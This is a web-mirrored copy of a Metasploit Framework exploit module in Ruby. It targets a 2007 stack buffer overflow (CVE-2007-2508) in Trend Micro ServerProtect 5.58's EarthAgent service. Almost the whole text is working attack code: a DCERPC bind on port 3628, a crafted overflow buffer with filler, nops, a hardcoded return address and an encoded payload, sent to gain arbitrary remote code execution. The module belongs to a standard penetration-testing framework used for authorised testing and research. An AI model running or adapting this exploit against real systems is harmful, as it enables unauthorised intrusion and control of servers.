Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb
19567 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Trend Micro ServerProtect 5.58 EarthAgent.EXE Buffer Overflow',
16
'Description' => %q{
17
This module exploits a buffer overflow in Trend Micro ServerProtect 5.58 Build 1060
18
EarthAgent.EXE. By sending a specially crafted RPC request, an attacker could overflow the
19
buffer and execute arbitrary code.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
['CVE', '2007-2508'],
25
['OSVDB', '35789'],
26
['BID', '23866'],
27
],
28
'Privileged' => true,
29
'DefaultOptions' => {
30
'EXITFUNC' => 'thread',
31
},
32
'Payload' => {
33
'Space' => 800,
34
'BadChars' => "\x00",
35
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
36
},
37
'Platform' => 'win',
38
'Targets' => [
39
[ 'Trend Micro ServerProtect 5.58 Build 1060', { 'Ret' => 0x605e3c2f } ], # pop esi; pop ebx; ret / agentclient.dll
40
],
41
'DefaultTarget' => 0,
42
'DisclosureDate' => '2007-05-07',
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options([ Opt::RPORT(3628) ])
52
end
53
54
def exploit
55
connect
56
handle = dcerpc_handle('25288888-bd5b-11d1-9d53-0080c83a5c2c', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
57
print_status("Binding to #{handle} ...")
58
59
dcerpc_bind(handle)
60
print_status("Bound to #{handle} ...")
61
62
filler = rand_text_english(680) + Rex::Arch::X86.jmp_short(6)
63
filler << make_nops(2) + [target.ret].pack('V') + payload.encoded
64
65
len = filler.length
66
67
sploit = NDR.long(0x001f0014) + NDR.long(len) + filler + NDR.long(len)
68
69
print_status("Trying target #{target.name}...")
70
71
begin
72
dcerpc_call(0, sploit)
73
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
74
end
75
76
handler
77
disconnect
78
end
79
end
80
81